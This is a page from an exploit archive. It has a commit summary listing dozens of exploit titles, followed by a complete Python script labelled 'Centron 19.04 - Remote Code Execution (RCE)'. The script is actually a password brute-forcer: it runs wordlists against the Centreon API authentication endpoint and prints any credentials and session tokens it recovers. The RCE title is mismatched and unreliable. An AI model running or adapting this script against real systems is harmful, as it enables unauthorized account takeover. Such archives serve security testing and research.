
52 changes to exploits/shellcodes/ghdb Microchip TimeProvider 4100 (Configuration modules) 2.4.6 - OS Command Injection Microchip TimeProvider 4100 Grandmaster (Banner Config Modules) 2.4.6 - Stored Cross-Site Scripting (XSS) Microchip TimeProvider 4100 Grandmaster (Data plot modules) 2.4.6 - SQL Injection Microchip TimeProvider 4100 (Configuration modules) 2.4.6 - OS Command Injection Microchip TimeProvider 4100 Grandmaster (Banner Config Modules) 2.4.6 - Stored Cross-Site Scripting (XSS) Microchip TimeProvider 4100 Grandmaster (Data plot modules) 2.4.6 - SQL Injection Apache HugeGraph Server 1.2.0 - Remote Code Execution (RCE) DataEase 2.4.0 - Database Configuration Information Exposure Cosy+ firmware 21.2s7 - Command Injection Angular-Base64-Upload Library 0.1.20 - Remote Code Execution (RCE) K7 Ultimate Security K7RKScan.sys 17.0.2019 - Denial Of Service (DoS) ABB Cylon Aspect 3.07.02 - File Disclosure (Authenticated) ABB Cylon Aspect 3.08.01 - Remote Code Execution (RCE) ABB Cylon Aspect 3.07.02 - File Disclosure ABB Cylon Aspect 3.08.01 - Remote Code Execution (RCE) Cisco Smart Software Manager On-Prem 8-202206 - Account Takeover CyberPanel 2.3.6 - Remote Code Execution (RCE) IBM Security Verify Access 10.0.0 - Open Redirect during OAuth Flow Intelight X-1L Traffic controller Maxtime 1.9.6 - Remote Code Execution (RCE) KubeSphere 3.4.0 - Insecure Direct Object Reference (IDOR) MagnusSolution magnusbilling 7.3.0 - Command Injection Palo Alto Networks Expedition 1.2.90.1 - Admin Account Takeover Progress Telerik Report Server 2024 Q1 (10.0.24.305) - Authentication Bypass Sonatype Nexus Repository 3.53.0-01 - Path Traversal Watcharr 1.43.0 - Remote Code Execution (RCE) Webmin Usermin 2.100 - Username Enumeration ABB Cylon Aspect 3.07.01 - Hard-coded Default Credentials ABB Cylon Aspect 3.08.01 - Arbitrary File Delete ABB Cylon Aspect 3.07.01 - Hard-coded Default Credentials ABB Cylon Aspect 3.08.01 - Arbitrary File Delete AquilaCMS 1.409.20 - Remote Command Execution (RCE) Artica Proxy 4.50 - Remote Code Execution (RCE) Centron 19.04 - Remote Code Execution (RCE) ChurchCRM 5.9.1 - SQL Injection CodeAstro Online Railway Reservation System 1.0 - Cross Site Scripting (XSS) CodeCanyon RISE CRM 3.7.0 - SQL Injection Elaine's Realtime CRM Automation 6.18.17 - Reflected XSS Feng Office 3.11.1.2 - SQL Injection flatCore 1.5 - Cross Site Request Forgery (CSRF) flatCore 1.5.5 - Arbitrary File Upload flatCore 1.5 - Cross Site Request Forgery (CSRF) flatCore 1.5.5 - Arbitrary File Upload GetSimpleCMS 3.3.16 - Remote Code Execution (RCE) Gnuboard5 5.3.2.8 - SQL Injection LearnPress WordPress LMS Plugin 4.2.7 - SQL Injection Litespeed Cache 6.5.0.1 - Authentication Bypass MiniCMS 1.1 - Cross Site Scripting (XSS) MoziloCMS 3.0 - Remote Code Execution (RCE) NEWS-BUZZ News Management System 1.0 - SQL Injection PandoraFMS 7.0NG.772 - SQL Injection phpIPAM 1.6 - Reflected Cross Site Scripting (XSS) PZ Frontend Manager WordPress Plugin 1.0.5 - Cross Site Request Forgery (CSRF) ResidenceCMS 2.10.1 - Stored Cross-Site Scripting (XSS) RosarioSIS 7.6 - SQL Injection Roundcube Webmail 1.6.6 - Stored Cross Site Scripting (XSS) Typecho 1.3.0 - Race Condition Typecho 1.3.0 - Stored Cross-Site Scripting (XSS) Typecho 1.3.0 - Race Condition Typecho 1.3.0 - Stored Cross-Site Scripting (XSS) X2CRM 8.5 - Stored Cross-Site Scripting (XSS) Rejetto HTTP File Server 2.3m - Remote Code Execution (RCE) Microsoft Office 2019 MSO Build 1808 - NTLMv2 Hash Disclosure
103 lines
No EOL
4.4 KiB
Python
Executable file
103 lines
No EOL
4.4 KiB
Python
Executable file
# Exploit Title : Centron 19.04 - Remote Code Execution (RCE)
|
|
# Tested on Centreon API 19.04.0
|
|
# Centreon 19.04 - Login Password Bruteforcer
|
|
# Written on 6 Nov 2019
|
|
# Referencing API Authentication of the Centreon API document
|
|
# Author: st4rry
|
|
# centbruteon.py
|
|
# Centreon Download Link: https://download.centreon.com/#version-Older
|
|
# Dependencies: sys, requests, argparse, termcolor, os
|
|
|
|
#!/usr/bin/env python3
|
|
|
|
import sys
|
|
import requests
|
|
import argparse
|
|
from termcolor import colored
|
|
import os
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser()
|
|
parser.add_argument('-u', dest='host', help='Define your target URL', required=True)
|
|
parser.add_argument('-p', dest='port', type=int, help='Specify port number', default=80)
|
|
parser.add_argument('--https', dest='https', action='store_true', help='Use HTTPS instead of HTTP')
|
|
parser.add_argument('-l', dest='username', help='Specific username')
|
|
parser.add_argument('-L', dest='userfile', type=argparse.FileType('r'), help='Username wordlist')
|
|
parser.add_argument('-w', dest='passwfile', type=argparse.FileType('r'), help='Specify Password wordlist', required=True)
|
|
parser.add_argument('--insecure', action='store_true', help='Skip SSL certificate verification')
|
|
parser.add_argument('--ca-bundle', dest='ca_bundle', help='Path to custom CA bundle')
|
|
|
|
if len(sys.argv) == 1:
|
|
parser.print_help(sys.stderr)
|
|
sys.exit(1)
|
|
|
|
args = parser.parse_args()
|
|
|
|
protocol = 'https' if args.https else 'http'
|
|
server = f"{protocol}://{args.host}:{args.port}"
|
|
user = args.username
|
|
passfile = args.passwfile.read().splitlines()
|
|
userfile = args.userfile
|
|
dirlo = '/centreon/api/index.php?action=authenticate'
|
|
verify_ssl = not args.insecure
|
|
|
|
if args.ca_bundle:
|
|
verify_ssl = args.ca_bundle
|
|
|
|
if user:
|
|
brute_force_single_user(server, user, passfile, dirlo, verify_ssl)
|
|
elif userfile:
|
|
usrwl = userfile.read().splitlines()
|
|
brute_force_multiple_users(server, usrwl, passfile, dirlo, verify_ssl)
|
|
else:
|
|
print(colored('Something went wrong!', 'red'))
|
|
sys.exit(1)
|
|
|
|
def brute_force_single_user(server, user, passfile, dirlo, verify_ssl):
|
|
for password in passfile:
|
|
data = {'username': user, 'password': password}
|
|
r = requests.post(f'{server}{dirlo}', data=data, verify=verify_ssl)
|
|
|
|
try:
|
|
print('Processing...')
|
|
print(colored('Brute forcing on Server: ', 'yellow') + colored(server, 'yellow') +
|
|
colored(' Username: ', 'yellow') + colored(user, 'yellow') +
|
|
colored(' Password: ', 'yellow') + colored(password, 'yellow'))
|
|
|
|
if r.status_code == 200:
|
|
print(colored('Credentials found: username: ', 'green') + colored(user, 'green') +
|
|
colored(' password: ', 'green') + colored(password, 'green') +
|
|
colored(' server: ', 'green') + colored(server, 'green'))
|
|
print(colored('Token: ', 'cyan') + colored(r.content.decode(), 'cyan'))
|
|
print('\n')
|
|
break
|
|
else:
|
|
print(colored('403 - Unauthenticated!', 'red'))
|
|
except IndexError:
|
|
print(colored('Something went wrong', 'red'))
|
|
|
|
def brute_force_multiple_users(server, usrwl, passfile, dirlo, verify_ssl):
|
|
for usr in usrwl:
|
|
for password in passfile:
|
|
data = {'username': usr, 'password': password}
|
|
r = requests.post(f'{server}{dirlo}', data=data, verify=verify_ssl)
|
|
|
|
try:
|
|
print('Processing...')
|
|
print(colored('Brute forcing on Server: ', 'yellow') + colored(server, 'yellow') +
|
|
colored(' Username: ', 'yellow') + colored(usr, 'yellow') +
|
|
colored(' Password: ', 'yellow') + colored(password, 'yellow'))
|
|
|
|
if r.status_code == 200:
|
|
print(colored('Credentials found: username: ', 'green') + colored(usr, 'green') +
|
|
colored(' password: ', 'green') + colored(password, 'green') +
|
|
colored(' server: ', 'green') + colored(server, 'green'))
|
|
print(colored('Token: ', 'cyan') + colored(r.content.decode(), 'cyan'))
|
|
print('\n')
|
|
else:
|
|
print(colored('403 - Unauthenticated!', 'red'))
|
|
except IndexError:
|
|
print(colored('Something went wrong', 'red'))
|
|
|
|
if __name__ == '__main__':
|
|
main() |